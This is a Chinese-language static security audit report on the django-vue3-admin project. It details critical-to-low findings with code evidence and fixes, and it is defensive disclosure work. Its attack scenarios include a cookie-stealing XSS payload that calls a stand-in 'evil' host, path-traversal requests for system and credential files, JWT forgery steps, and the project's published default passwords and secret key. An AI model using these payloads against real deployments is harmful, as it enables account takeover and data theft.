django-vue3-admin 安全审计报告
审计日期:2026-08-12
审计对象:django-vue3-admin(Django DRF 后端 + Vue3 前端 RBAC 后台管理系统)
审计目标:识别反序列化、命令执行/RCE、SQL 注入、未授权访问、硬编码凭据、XSS、SSRF、越权/IDOR 等可获取系统权限、系统数据、用户数据、应用数据的漏洞
审计方式:源码静态审计(人工逐行复核 + 六路分类并行核查),未进行实际网络利用
一、风险总览
| 等级 | 数量 | 说明 |
|---|---|---|
| 🔴 Critical | 4 | 可直接获取系统最高权限 / 全量数据 / 任意文件读取 |
| 🟠 High | 11 | 默认配置或低权限即可利用,影响面大 |
| 🟡 Medium | 20 | 需特定条件(登录、权限、配置)触发 |
| 🟢 Low | 8 | 影响有限 / 需组合利用 / 潜在隐患 |
高危漏洞速览
| # | 漏洞 | 等级 | 位置 |
|---|---|---|---|
| C-1 | 硬编码 SECRET_KEY → JWT 伪造 / 全站认证绕过 | Critical | settings.py:31 |
| C-2 | 未授权任意文件读取(路径穿越)serve_web_files |
Critical | urls.py:68-80 |
| C-3 | RBAC 完全失效:任意登录用户自提权链 | Critical | role_menu_button_permission.py / menu_button.py / role.py |
| C-4 | 默认超管口令 admin123456 公开 + 三账号共享同一哈希 |
Critical | system/fixtures/init_users.json |
| H-1 | WebSocket 原始 JSON 转发 + dangerouslyUseHTMLString → 跨用户实时 XSS |
High | websocketConfig.py:96-106 / App.vue:130 |
| H-2 | 消息中心内容 v-html 存储型 XSS |
High | web/.../userNews.vue:13 |
| H-3 | 硬编码数据库/Redis 凭据 DVADMIN3 + DEBUG/ALLOWED_HOSTS 默认危险值 |
High | conf/env.example.py |
| H-4 | docker-compose 默认空 DB/Redis 口令 + 端口暴露 | High | docker-compose.yml |
| H-5 | 全链路弱口令方案(md5 预哈希 + 默认盐) | High | models.py:97 / backends.py:31 |
| H-6 | CORS 全开 + 允许凭据 | High | settings.py:202,204 |
| H-7 | 任意文件上传 → 存储型 XSS(media 原样静态服务) | High | system/views/file_list.py |
| H-8 | 文件列表无属主过滤 + get_all 泄露全部文件 + /media/ 公开 |
High | file_list.py / urls.py:124 |
| H-9 | 消息中心越权(IDOR) | High | message_center.py:210-213 |
| H-10 | 用户列表 show_all 绕过数据范围过滤 |
High | user.py:414-442 |
| H-11 | 部门信息 dept_info 匿名访问 |
High | dept.py:165-213 |
二、Critical 级漏洞详情
C-1 硬编码 SECRET_KEY → JWT 伪造 / 全站认证绕过
- 位置:
backend/application/settings.py:31、:344 - 等级:🔴 Critical
描述:
SECRET_KEY 以公开常量硬编码在源码中,不读取环境变量覆盖。SIMPLE_JWT 配置未设置 SIGNING_KEY/ALGORITHM,SimpleJWT 默认使用 settings.SECRET_KEY + HS256 签发/校验 access token。同一密钥还被 WebSocket(websocketConfig.py:62)与 SSE(sse_views.py:44)用于解码前端 token。
代码证据:
# settings.py:31
SECRET_KEY = "django-insecure--z8%exyzt7e_%i@1+#1mm=%lb5=^fx_57=1@a+_y7bg5-w%)sm"
# settings.py:344 SIMPLE_JWT 无 SIGNING_KEY / ALGORITHM → 默认用 SECRET_KEY
SIMPLE_JWT = {
"ACCESS_TOKEN_LIFETIME": timedelta(minutes=1440),
"REFRESH_TOKEN_LIFETIME": timedelta(days=1),
"AUTH_HEADER_TYPES": ("JWT",),
"ROTATE_REFRESH_TOKENS": True,
}
# websocketConfig.py:62 / sse_views.py:44
decoded = jwt.decode(token, settings.SECRET_KEY, algorithms=['HS256'])
攻击场景:
- 密钥在公开仓库已知;
- 构造 payload
{"token_type":"access","exp":<未来>,"iat":<当前>,"jti":<随机>,"user_id":1}(user_id=1为超管); - 以公开 SECRET_KEY 用 HS256 签名 → 得到合法超管 JWT;
- 携带
Authorization: JWT <token>调用任意/api/system/*接口;或伪造sse?token=、WebSocketservice_uid订阅任意用户消息。
影响:认证完全失效、任意身份冒充、全站数据读写;可结合文件导入/上传实现 RCE。
修复建议:SECRET_KEY 从环境变量注入且每实例唯一;JWT 单独配置随机的 SIGNING_KEY;轮换当前已泄露密钥;收紧 WS/SSE 的 token 校验。
C-2 未授权任意文件读取(路径穿越)
- 位置:
backend/application/urls.py:68-80(路由注册于:121) - 等级:🔴 Critical
描述:
path('web/<path:filename>', serve_web_files) 无任何认证/权限,将 URL 中 <path:filename> 直接拼入 os.path.join 读取并返回。<path:> 转换器不清理 ..,os.path.join 也不归一化路径,可逃逸 templates/web 读取服务器任意文件。docker-compose.yml 将后端 8000 端口直接暴露,生产 nginx 的 /api/ 代理不拦截 web/ 前缀。
代码证据:
# urls.py:68-80
def serve_web_files(request, filename):
filepath = os.path.join(settings.BASE_DIR, 'templates', 'web', filename)
if not os.path.exists(filepath):
raise Http404("File does not exist")
mime_type, _ = mimetypes.guess_type(filepath)
with open(filepath, 'rb') as f:
response = HttpResponse(f.read(), content_type=mime_type)
return response
# urls.py:121
path('web/<path:filename>', serve_web_files, name='serve_web_files'),
攻击场景:
GET /web/../../conf/env.py → 数据库/Redis 口令、SECRET_KEY 相关配置
GET /web/../../application/settings.py → SECRET_KEY 等
GET /web/../../../../etc/passwd → 系统文件
影响:未授权任意文件读取 → 源码、密钥、凭据泄露,可直接组合为系统完全接管。
修复建议:移除该通用文件服务路由(前端资源由反向代理/静态目录提供);如保留须用 safe_join 校验最终路径位于白名单目录内,并加认证。
C-3 RBAC 完全失效:任意登录用户自提权链
- 位置:
backend/dvadmin/system/views/role_menu_button_permission.py:161-311backend/dvadmin/system/views/menu_button.py:88-129, 293-340backend/dvadmin/system/views/role.py:120-138
- 等级:🔴 Critical
描述:
角色-菜单-按钮授权相关自定义 action 全部只声明 permission_classes=[IsAuthenticated](在 action 上覆盖了 ViewSet 级的 CustomPermission),既未校验 is_superuser,也未校验授权对象是否属于请求者,任何已登录的低权限用户都可以给自己授任意权限。
代码证据:
# role_menu_button_permission.py:269-292 —— 给任意角色授任意按钮权限 + 任意数据范围
@action(methods=['PUT'], detail=False, permission_classes=[IsAuthenticated])
def set_role_menu_btn(self, request):
roleId = data.get('roleId', None) # 任意角色,无校验
btnId = data.get('btnId', None) # 任意按钮,无校验
data_range = data.get('data_range', None) or 0 # 0-4,可设 3=全部数据
RoleMenuButtonPermission.objects.create(role_id=roleId, menu_button_id=btnId, data_range=data_range)
# role_menu_button_permission.py:296-310 —— 改任意授权行的 data_range
@action(methods=['PUT'], detail=False, permission_classes=[IsAuthenticated])
def set_role_menu_btn_data_range(self, request):
instance = RoleMenuButtonPermission.objects.get(id=data.get('role_menu_btn_perm_id'))
instance.data_range = data.get('data_range') # 任意行任意数据范围
# role_menu_button_permission.py:172-173 / 225-226 —— 授/撤任意菜单与批量按钮
@action(methods=['PUT'], detail=False, permission_classes=[IsAuthenticated])
def set_role_menu(self, request): ...
@action(methods=['PUT'], detail=False, permission_classes=[IsAuthenticated])
def batch_set_role_menu_btn(self, request): ...
# menu_button.py:293-340 —— 任意登录用户可注册任意 API 路径的按钮
@action(methods=['post'], detail=False, permission_classes=[IsAuthenticated])
def scan_batch_create(self, request):
MenuButton.objects.bulk_create([MenuButton(menu_id=..., api=btn.get('path',''), method=method_int) ...])
# menu_button.py:88-129 batch_create 同理
# role.py:120-138 —— 任意用户加入/移出任意角色
@action(methods=['PUT'], detail=True, permission_classes=[IsAuthenticated])
def set_role_users(self, request, pk):
role = Role.objects.get(pk=pk) # 任意角色
if direction == "left": role.users_set.remove(*movedKeys)
else: role.users_set.add(*movedKeys)
攻击场景(完整提权链):
- 低权限用户登录;
- 用
scan_batch_create/batch_create为自己角色注册api=/api/system/user/(或任意路径)的 MenuButton; - 用
set_role_menu_btn把自己角色与该按钮绑定并设data_range=3(全部数据); - 或直接用
set_role_users把自己加入id=管理员角色; - 之后即可访问
GET /api/system/user/等全量数据,乃至set_role_menu修改任意角色菜单完成横向扩张。
影响:RBAC 权限模型完全失效,水平/垂直越权,普通用户可直达超管级数据访问。
修复建议:所有授权 action 改为 [IsAuthenticated, CustomPermission] 并校验 is_superuser;对 roleId/btnId 做归属与数据范围校验;set_role_users 仅限超管/拥有该角色管理权限者。
C-4 默认超管口令 admin123456 公开 + 三个默认账号共享同一口令哈希
- 位置:
backend/dvadmin/system/fixtures/init_users.json:26,46,67;init_systemconfig.json:83-84;README.md:31,126,143 - 等级:🔴 Critical
描述:
python manage.py init(docker 部署时自动执行)写入 superadmin、admin、test 三个账号,共享完全相同的口令哈希,对应公开演示口令 admin123456(README 明确记载,哈希经离线破解确认为 md5("admin123456") 后 pbkdf2)。系统配置默认密码同为 admin123456。未修改默认口令的部署可被直接登录超管。
代码证据:
// init_users.json —— 三账号同一哈希
{"pk": 1, "fields": {"username": "superadmin", "password": "pbkdf2_sha256$260000$g17x5wlSiW1FZAh1Eudchw$ZeSAqj3Xak0io8v/pmPW0BX9EX5R2zFXDwbbD68oBFk=", ...}}
{"pk": 2, "fields": {"username": "admin", "password": "pbkdf2_sha256$260000$g17x5wlSiW1FZAh1Eudchw$ZeSAqj3Xak0io8v/pmPW0BX9EX5R2zFXDwbbD68oBFk=", ...}}
{"pk": 3, "fields": {"username": "test", "password": "pbkdf2_sha256$260000$g17x5wlSiW1FZAh1Eudchw$ZeSAqj3Xak0io8v/pmPW0BX9EX5R2zFXDwbbD68oBFk=", ...}}
// init_systemconfig.json:83-84
"key": "default_password", "value": "admin123456"
攻击场景:
POST /api/login/ {"username":"superadmin","password":"admin123456"}(未开验证码)或经 /api/token/(LOGIN_NO_CAPTCHA_AUTH=True 默认,见 M-14)直接获得超管 JWT。另见 M-9:GET /api/init/settings/ 未授权直接返回 base.default_password。
影响:默认安装即被接管;三账号共享哈希导致口令碰撞、账号间互登。
修复建议:首次启动强制改密/随机生成初始口令;移除共享哈希;禁止 demo 口令进生产。
三、High 级漏洞详情
H-1 WebSocket 原始 JSON 转发 + dangerouslyUseHTMLString → 跨用户实时 XSS
- 位置:
backend/application/websocketConfig.py:96-106(MegCenter.receive);backend/web/src/App.vue:130-133;路由ws_routing.py:6 - 等级:🟠 High
描述:
后端 MegCenter.receive 把客户端发来的任意 JSON 原样 group_send 给该消息的全部目标用户——不校验发送者与消息关系、不重建消息结构、不清洗内容。前端 App.vue 的 wsReceive 对 contentType === 'Content' 的推送用 ElMessageBox.confirm(data.content, data.notificationTitle, { dangerouslyUseHTMLString: true }) 渲染原始 HTML。connect() 仅校验 JWT 有效性。组合形成任意登录用户向在线管理员/用户投递并执行任意 JS 的跨用户实时 XSS。
代码证据:
# websocketConfig.py:96-106
async def receive(self, text_data):
text_data_json = json.loads(text_data)
message_id = text_data_json.get('message_id', None)
user_list = await _get_message_center_instance(message_id) # 任意 message_id 的目标用户,无发送者校验
for send_user in user_list:
await self.channel_layer.group_send("user_"+str(send_user), {'type':'push.message', 'json': text_data_json})
// App.vue:130-133
} else if (data.contentType === 'Content') {
ElMessageBox.confirm(data.content, data.notificationTitle, {
... dangerouslyUseHTMLString: true, ...
攻击场景:
攻击者用有效 JWT 连接 ws://host/ws/<token>/;创建(或复用/枚举)一条 target_user 含受害者的消息拿到 message_id;发送 {"message_id":<id>,"contentType":"Content","content":"<img src=x onerror=fetch('//evil/?c='+document.cookie)>","notificationTitle":"x","notificationButton":"OK","path":"/home"}。服务端将该 JSON 原样推给受害者组,受害者在线即弹出消息框并执行 payload → 窃取会话/以管理员身份操作。另注意 _get_message_center_instance(message_id) 对任意 message_id 返回目标用户列表,攻击者可枚举复用。
影响:跨用户/存储型 XSS 实时投递变体;会话接管、横向提权。
修复建议:receive 改为从数据库重建消息并校验发送者权限;前端移除 dangerouslyUseHTMLString 或对 content 做白名单消毒(DOMPurify)。
H-2 消息中心内容 v-html 存储型 XSS
- 位置:
backend/web/src/layout/navBars/breadcrumb/userNews.vue:13(数据源:44-54);后端backend/dvadmin/system/models.py:661、views/message_center.py:156-193 - 等级:🟠 High
描述:
顶部导航"最新消息"下拉用 v-html="v.content" 渲染消息内容。消息内容由 wangEditor 富文本产出(原始 HTML),后端 MessageCenterCreateSerializer 存储时不做任何清洗(fields="__all__",content 为 TextField),全项目无 DOMPurify。任何有消息创建权限的登录用户(target_type=3 系统通知可面向全部用户含超管)即可植入 XSS;通过 REST 接口 POST /api/system/message_center/ 提交则无需经过编辑器过滤。
代码证据:
<!-- userNews.vue:13 -->
<div v-html="v.content"></div>
# message_center.py MessageCenterCreateSerializer 无 content 清洗
# models.py:661 content = models.TextField(...)
攻击场景:POST /api/system/message_center/ 提交 content="<img src=x onerror=alert(document.cookie)>",target_type=3 → 管理员打开导航下拉即执行 JS。
影响:存储型 XSS,窃取 JWT(localStorage)、以受害者身份操作,横向/纵向提权。
修复建议:v-html 改为文本渲染或经 DOMPurify 消毒;后端对 content 白名单清洗。
H-3 硬编码数据库/Redis 凭据 + 默认危险配置被 Docker 烧录
- 位置:
backend/conf/env.example.py:24,33,39,43,48;docker_env/django/Dockerfile、docker_env/celery/Dockerfile(cp env.example.py env.py) - 等级:🟠 High
描述:
默认数据库口令与 Redis 口令均为 DVADMIN3,且 DEBUG=True、ALLOWED_HOSTS=["*"]、LOGIN_NO_CAPTCHA_AUTH=True。Dockerfile 在构建时直接把 env.example.py 复制为运行时 env.py。未修改配置的部署即使用公开口令与危险默认值运行。
代码证据:
# env.example.py
DATABASE_PASSWORD = 'DVADMIN3'
REDIS_PASSWORD = 'DVADMIN3'
DATABASE_USER = "root"
DEBUG = True
ALLOWED_HOSTS = ["*"]
LOGIN_NO_CAPTCHA_AUTH = True
影响:数据库/Redis 口令公开;DEBUG=True 泄露堆栈/SQL/配置;ALLOWED_HOSTS=["*"] 放大 Host 头攻击面。
修复建议:强制从环境变量注入,示例配置不得进生产;DEBUG 生产必须 False。
H-4 docker-compose 默认空数据库/Redis 口令 + 端口暴露 + privileged
- 位置:
docker-compose.yml:53,58-60,98-101;docker_env/redis/redis.conf:3,9-10,39-40 - 等级:🟠 High
描述:
MySQL root 口令与 Redis 口令均来自 .env 变量,跳过 init.sh 时为空;3306:3306、6379:6379 暴露到宿主机;mysql/redis 容器 privileged: true。redis.conf 中 bind、protected-mode、requirepass 全部被注释(监听所有接口、无认证)。
代码证据:
# docker-compose.yml
MYSQL_ROOT_PASSWORD: ${MYSQL_PASSWORD}
ports: - "3306:3306"
command: /bin/sh -c "... redis-server ... --requirepass ${REDIS_PASSWORD}"
# docker_env/redis/redis.conf
# bind 127.0.0.1 -::1
# protected-mode yes
# requirepass dvadmin
攻击场景:docker-compose up -d 后,MySQL root 空口令、Redis 无口令且对外监听 → mysql -h <ip> / redis-cli -h <ip> 直接连接,拖库 / 读写缓存(含 JWT、会话)。
影响:数据库/Redis 未授权访问,数据泄露与破坏。
修复建议:强制生成强口令;数据库/Redis 仅绑定内网;移除 privileged;开启 protected-mode 与 requirepass。
H-5 全链路弱口令方案(md5 预哈希 + 默认盐)
- 位置:
backend/dvadmin/system/models.py:97-99;backend/dvadmin/utils/backends.py:31-34;backend/dvadmin/system/views/user.py:85-88,345;backend/dvadmin/utils/string_util.py:30 - 等级:🟠 High
描述:
所有密码先 md5(明文) 再交 Django pbkdf2;登录时先试明文、失败再试 md5(明文)。has_md5 使用硬编码盐 123456。内部 md5 使 pbkdf2 拉伸收益被抵消,数据库泄露后哈希可被快速爆破;"明文/md5 双路径"还增加认证复杂度。
代码证据:
# models.py:97-99
def set_password(self, raw_password):
if raw_password:
super().set_password(hashlib.md5(raw_password.encode(encoding="UTF-8")).hexdigest())
# backends.py:31-34
verify_password = check_password(password, user.password)
if not verify_password:
password = hashlib.md5(password.encode(encoding='UTF-8')).hexdigest()
verify_password = check_password(password, user.password)
# string_util.py:30
def has_md5(str, salt='123456'):
影响:口令哈希强度低于标准 pbkdf2;默认口令可离线爆破(见 C-4);密码体系设计不安全。
修复建议:删除 md5 预哈希与双路径,统一 make_password(明文);改用强 KDF(pbkdf2/bcrypt/argon2);移除默认盐。
H-6 CORS 全开 + 允许携带凭据
- 位置:
backend/application/settings.py:202,204 - 等级:🟠 High
描述:CORS_ORIGIN_ALLOW_ALL = True 且 CORS_ALLOW_CREDENTIALS = True,任意来源浏览器脚本可携带 Cookie 发起跨域请求并读取响应(SessionAuthentication 生效面)。
代码证据:
CORS_ORIGIN_ALLOW_ALL = True
CORS_ALLOW_CREDENTIALS = True
影响:跨站请求伪造 / 数据窃取风险放大(配合 SessionAuthentication 与可伪造 JWT)。
修复建议:改为明确来源白名单;无 Cookie 需求时 CORS_ALLOW_CREDENTIALS=False。
H-7 任意文件上传 → 存储型 XSS
- 位置:
backend/dvadmin/system/views/file_list.py(FileSerializer.create);backend/dvadmin/system/models.py:463-474(media_file_name) - 等级:🟠 High
描述:上传接口对扩展名、Content-Type、magic bytes 均无校验;mime_type 取客户端可控的 file.content_type;文件名保留原始扩展名。上传的 HTML/SVG 经 /media(nginx alias /backend/media 或 Django static())以原类型同源返回。
代码证据:
validated_data['mime_type'] = file.content_type # 客户端可控
# models.py media_file_name 保留原扩展名
return os.path.join("files", h[:1], h[1:2], f"{safe_basename}_{timestamp}{ext.lower()}")
攻击场景:上传 x.html 含 <script>...</script> → media/files/<md5>/x.html_<ts>.html 同源以 text/html 返回 → 后台域内执行 JS,窃取管理员会话。
影响:存储型 XSS,会话窃取、仿冒页面、横向提权。
修复建议:扩展名+Content-Type+magic bytes 三重校验;/media 返回加 X-Content-Type-Options:nosniff 与 Content-Disposition:attachment;文件名白名单重命名。
H-8 文件列表无属主过滤 + get_all 泄露全部文件 + /media/ 公开静态服务
- 位置:
backend/dvadmin/system/views/file_list.py:116-124(get_all);backend/application/urls.py:124(static(MEDIA_URL,...)) - 等级:🟠 High
描述:
FileViewSet.queryset = FileList.objects.all() 无属主/数据范围过滤;get_all 直接 self.get_queryset() 返回全部文件(绕过 filter_queryset)。/media/ 由 Django static() 静态服务,任何人(含匿名)知道路径即可下载。
代码证据:
# file_list.py:116-124
@action(methods=['GET'], detail=False)
def get_all(self, request):
data1 = self.get_serializer(self.get_queryset(), many=True).data # 全部文件
# urls.py:124
+ static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)
攻击场景:任意登录用户 GET /api/system/file/get_all/ 枚举全部文件与 URL → 下载他人导出的 Excel(含手机号/邮箱等 PII)、头像、导入文件;/media/ 匿名可直接下载。
影响:敏感文件批量泄露;文件无 ACL 保护。
修复建议:get_queryset 加 creator=self.request.user(超管除外);get_all 走 filter_queryset;/media 由鉴权路由或签名的私有下载端点提供。
H-9 消息中心越权(IDOR)
- 位置:
backend/dvadmin/system/views/message_center.py:205-231 - 等级:🟠 High
描述:get_queryset 仅 action == 'list' 按 creator 过滤;retrieve/destroy/update/get_by_ids/multiple_delete 使用 MessageCenter.objects.all()。retrieve 还会把任意消息标记为已读并触发 WebSocket 推送。
代码证据:
def get_queryset(self):
if self.action == 'list':
return MessageCenter.objects.filter(creator=self.request.user.id).all()
return MessageCenter.objects.all() # retrieve/destroy/update 等暴露全部
def retrieve(self, request, *args, **kwargs):
pk = kwargs.get('pk'); user_id = self.request.user.id
MessageCenterTargetUser.objects.filter(users__id=user_id, messagecenter__id=pk).first()... # 标记已读
instance = self.get_object() # 任意消息
影响:横向越权读/删任意消息与受众信息,破坏消息中心完整性。
修复建议:get_queryset 全部 action 按 creator 或 target_user 含当前用户过滤;对象级权限校验。
H-10 用户列表 show_all 参数绕过数据范围过滤
- 位置:
backend/dvadmin/system/views/user.py:414-452 - 等级:🟠 High
描述:show_all=1 且传 dept 时直接 Users.objects.filter(*q_obj, dept_id__in=all_did),绕过 filter_queryset(DataLevelPermissionMargeFilter 不生效);该分支未排除超管,超管信息同样暴露。int(show_all) 对非数字抛 ValueError → 500。
代码证据:
if int(show_all):
all_did = [dept_id]
...
queryset = Users.objects.filter(*q_obj, dept_id__in=all_did) # 绕过数据权限
影响:数据范围失效,低权限用户枚举越级用户(含超管)数据。
修复建议:删除该分支,统一走 filter_queryset;show_all 类型校验。
H-11 部门信息 dept_info 匿名访问
- 位置:
backend/dvadmin/system/views/dept.py:165-213 - 等级:🟠 High
描述:dept_info action 显式 permission_classes=[],匿名可访问,返回部门名称、负责人、描述、男女/未知用户数、子部门及人数。
代码证据:
@action(methods=['GET'], detail=False, permission_classes=[])
def dept_info(self, request):
users = Users.objects.filter(dept_id__in=all_did)
data = {'dept_name': ..., 'dept_user': users.count(), 'owner': ...}
攻击场景:未登录 GET /api/system/dept/dept_info/?dept_id=1&show_all=1。
影响:组织架构、人员规模等敏感信息匿名泄露(辅助钓鱼/社工)。
修复建议:改回 [IsAuthenticated, CustomPermission]。
四、Medium 级漏洞详情
| # | 漏洞 | 位置 | 说明 |
|---|---|---|---|
| M-1 | Excel 导入 url 参数路径穿越(受限任意文件读取) |
import_export.py:22-23 / import_export_mixin.py:153 |
客户端控制 url 拼 os.path.join(BASE_DIR, url) 读任意 xlsx,可跨目录 |
| M-2 | Excel 导出公式注入(CSV/Spreadsheet Injection) | import_export_mixin.py(export/update_template)、system/tasks.py:59-75 |
以 = + - @ 开头的字段原样写入单元格,打开即触发外带 |
| M-3 | 下载中心未认证 + 匿名可写入 | download_center.py:47 |
permission_classes=[],匿名可 create 上传到 media |
| M-4 | 操作日志存储完整请求体(敏感明文 + 存储 XSS 面) | utils/middleware.py:46-73 |
仅掩码键名恰为 password 的值,其余 token/secret 明文落库 |
| M-5 | 登录用户枚举 + 失败锁定 DoS | system/views/login.py:84-87,127-139 |
账号不存在/密码错误消息可区分;5 次失败永久锁定 is_active=False,匿名可锁全站账号 |
| M-6 | 自定义过滤后端 $ 前缀 iregex 正则注入/ReDoS 预言机 |
utils/filters.py:288-298 |
field=$regex → ORM iregex(MySQL REGEXP),盲注式字段提取 + ReDoS |
| M-7 | 动态模型表数据查询可泄露任意表数据 | system_config.py:211-238(get_table_data) |
按配置 setting.table 动态 model.objects.values(),可含 users 表密码哈希 |
| M-8 | SSE 未授权端点 + 硬编码密钥解码 | application/sse_views.py |
无认证,?token= 伪造任意 user_id 查询未读消息数;每连接每秒轮询 DB |
| M-9 | 系统配置表设计缺陷:云 AK/SK 存于公开接口可读表 | system_config.py(InitSettings)、aliyunoss.py/tencentcos.py |
仅靠 status 标志过滤,配置启用即对匿名公开 |
| M-10 | 认证后系统配置接口返回全部配置明文(含云 AK/SK、SMTP) | system_config.py(fields="__all__") |
拥有系统配置接口权限的非超管即可读出明文密钥 |
| M-11 | 开发版 JWT 登录接口无验证码 | login.py:210-237、urls.py:118 |
/api/token/ 绕过验证码,配合默认口令脚本化登录/爆破 |
| M-12 | 菜单上移/下移匿名可写 | menu.py:173-201 |
move_up/move_down permission_classes=[],未登录可改菜单排序 |
| M-13 | multiple_delete/get_by_ids 绕过数据范围过滤(IDOR) |
utils/viewset.py:148-166 |
直接 self.get_queryset() 未 filter_queryset,批量读/删其他部门数据 |
| M-14 | 登录锁定可被利用为账号 DoS + 默认无验证码 | login.py:127-131、env.example.py:43 |
5 次失败即锁定;LOGIN_NO_CAPTCHA_AUTH=True 默认关闭验证码 |
| M-15 | 缺失 Secure Cookie/TLS 强制 | settings.py(缺失项) |
无 SESSION_COOKIE_SECURE/CSRF_COOKIE_SECURE/HSTS |
| M-16 | Redis 默认无认证、监听全接口 | docker_env/redis/redis.conf:3,9-10,39-40 |
bind/protected-mode/requirepass 全部注释 |
| M-17 | 独立 MySQL 脚本硬编码 root 口令 q1w2e3r4 |
docker_env/mysql/launch.sh:7 |
3306 暴露 + root 口令公开 |
| M-18 | 弱 JWT 策略 + Swagger/接口文档 DEBUG 下匿名公开 | settings.py:344-351、urls.py:45,57 |
24h 访问令牌;DEBUG=True 默认时 swagger/redoc 全匿名 |
| M-19 | django-restql ?query={...} 注入面 + 任意字段排序泄露 + Django CVE-2026-1312 |
viewset.py:30,41、requirements.txt:1 |
QueryArgumentsMixin 将任意键值注入 request.GET,波及全部 20 个 ViewSet;当前被字段白名单拦截,但 ordering_fields='__all__' 可排序任意字段做信息推断;Django 4.2.14 未修 order_by 注入(CVE-2026-1312) |
| M-20 | 原生 SQL f-string 标识符拼接(潜在注入) | util/currency.py:33-74 |
key/parent/joint/db_table 直接拼入 WITH RECURSIVE,仅叶值参数化;当前仅硬编码调用,新增调用方传请求数据即变 SQLi |
M-1 补充证据:
# import_export_mixin.py:153
data = import_to_data(request.data.get("url"), import_field_dict, m2m_fields)
# import_export.py:22-23
file_path_dir = os.path.join(settings.BASE_DIR, file_url) # 用户可控
workbook = openpyxl.load_workbook(file_path_dir)
M-10 补充证据:
class SystemConfigSerializer(CustomModelSerializer):
class Meta:
model = SystemConfig
fields = "__all__" # 含 value/setting,密钥明文
M-13 补充证据(dvadmin/utils/viewset.py):
def multiple_delete(self, request, *args, **kwargs):
...
self.get_queryset().filter(id__in=keys).delete() # 未 filter_queryset
def get_by_ids(self, request):
queryset = self.get_queryset().filter(id__in=ids) # 未 filter_queryset
M-17 补充证据:
# docker_env/mysql/launch.sh:7
docker run -p 3306:3306 --privileged=true ... -e MYSQL_ROOT_PASSWORD=q1w2e3r4 -d mysql:5.7
M-19 补充证据:
# viewset.py:30,41
class CustomModelViewSet(ModelViewSet, ImportSerializerMixin, ExportSerializerMixin, QueryArgumentsMixin):
ordering_fields = '__all__' # 任意模型字段可排序(含 password/is_superuser 等)
filter_fields = '__all__'
# django_restql/mixins.py —— 库行为:把 query 参数注入 request.GET
params = request.GET.copy(); params.update(query_params); request.GET = params
# requirements.txt:1 —— 未修复 CVE-2026-1312(order_by 注入)的版本
Django==4.2.14 # 修复版本 ≥4.2.28 / 5.2.11
M-20 补充证据:
# util/currency.py:33-41 —— key/parent/db_table 直接 f-string 拼接,仅值参数化
sql = f"""
WITH RECURSIVE children AS (
SELECT id, {key} AS param_{key} FROM {instance.__class__._meta.db_table}
WHERE {parent}_id = %s UNION ALL
SELECT a.id, a.{key} ... INNER JOIN children b ON a.{parent}_id = b.id
) SELECT param_{key} FROM children;
"""
with connection.cursor() as cursor:
cursor.execute(sql, [getattr(instance, key)]) # 仅此值是绑定参数
# 当前调用点 filters.py:270-273 传硬编码 ('parent','id'),recursion_up_* 无调用
五、Low 级漏洞详情
| # | 漏洞 | 位置 | 说明 |
|---|---|---|---|
| L-1 | 登录 IP 伪造 + 向第三方发送 IP | utils/request_util.py:34-45,191-202 |
X-Forwarded-For.split(',')[-1] + nginx set_real_ip_from 0.0.0.0/0;IP 未经校验写日志并 POST 到 ip.django-vue-admin.com |
| L-2 | eval() 死代码 RCE 隐患 |
utils/git_utils.py:56 |
对 git 日志逐行 eval(item),当前无调用方 |
| L-3 | 初始化流程 exec() 拼接 |
utils/core_initialize.py:80-85、management/commands/init.py:39,48 |
键名/m2m 拼接执行,当前仅由 fixture 驱动 |
| L-4 | Host 头回显生成 URL | file_list.py:28-32、download_center.py:20-24 |
request.get_host() 拼绝对 URL,Host 可控时指向恶意域名 |
| L-5 | 登录页 login.help_url 可配 javascript: URL |
web/src/views/system/login/index.vue:61 |
配置投毒后匿名访客点击执行 JS;菜单 isLink 存在 open-redirect 面 |
| L-6 | 云存储对象键注入 | tencentcos.py:30、aliyunoss.py:34 |
文件名直作对象 Key,../ 可键注入/覆盖 |
| L-7 | init_crud 匿名接口泄露模型 schema |
utils/crud_mixin.py:148-153(Role 等 ViewSet 继承) |
permission_classes=[AllowAny] 返回模型列配置 |
| L-8 | 接口白名单全局放行机制风险 | utils/permission.py:106-128 |
白名单对全登录用户放行;enable_datasource=False 条目绕过数据范围;正则未转义 |
六、SQL 注入专项结论(全量静态核查)
- 未发现可直接利用的经典 SQL 注入:所有 ORM 查询均参数化(
filter/Q),未使用raw()/extra();现存原始 SQL 辅助函数(util/currency.py、utils/middleware.py:135、settings.py:120-121)当前仅以硬编码标识符调用。 - 存在两条值得重视的注入面(见 M-19 / M-20):
django-restql的QueryArgumentsMixin(viewset.py:30)把?query={...}解析出的任意键值直接注入request.GET,波及全部 20 个CustomModelViewSet;目前被CustomDjangoFilterBackend的字段名白名单(filters.py:309-316,475-511)+ 值参数化拦截,但配合ordering_fields='__all__'(viewset.py:41)可做字段级排序信息泄露(如按password/is_superuser排序推断相对顺序);且项目依赖 Django==4.2.14 未修复 CVE-2026-1312(order_by注入,修复版本 4.2.28/5.2.11/6.0.2)——当前无FilteredRelation尚不可达,但该组合是触发条件,是本次审计最重要的依赖升级项。util/currency.py:33-74用 f-string 直接拼接key/parent/joint/db_table构建WITH RECURSIVE原生 SQL,仅叶值参数化;当前仅被filters.py:270-273以硬编码('parent','id')调用、recursion_up_*无人调用,属潜在漏洞。
- 其他核查项:
CustomDjangoFilterBackend的$前缀映射iregex(见 M-6)可做正则注入/盲注预言机与 ReDoS;get_table_data动态字段名(system_config.py:225-234)的'field'来自 SystemConfig 配置 JSON,需管理员写权限才可触发;DataLevelPermissionsFilter用攻击者可控的 URL path kwarg 作re.subpattern(filters.py:152-154,220-222)仅影响权限路径归一化,非 SQL。 - 反序列化专项:未发现 pickle/yaml/shelve/dill/joblib 等不安全反序列化代码路径。
七、攻击链总结
- 默认部署接管链(无需任何账号):
GET /api/init/settings/(未授权)→base.default_password=admin123456→POST /api/login/(或/api/token/)登录superadmin→ 超管接管。 - 完全认证绕过链(无需账号、密钥公开):
读取公开 SECRET_KEY → 离线伪造超管 JWT → 以超管身份调用所有 API。 - 任意文件读取链(无需账号):
GET /web/../../conf/env.py→ 数据库/Redis 口令、SECRET_KEY → 直连数据库 / 伪造 JWT / 读取任意文件。 - RBAC 提权链(需登录):
低权登录 →scan_batch_create+set_role_menu_btn(data_range=3)或set_role_users加入管理员角色 → 全量数据访问。 - 跨用户 XSS → 会话劫持链(需低权账号):
WebSocket 投毒(H-1)或消息v-html(H-2)或上传 HTML(H-7)→ 管理员触发 → 窃取 JWT/会话 → 提权。
八、修复优先级建议
| 优先级 | 措施 |
|---|---|
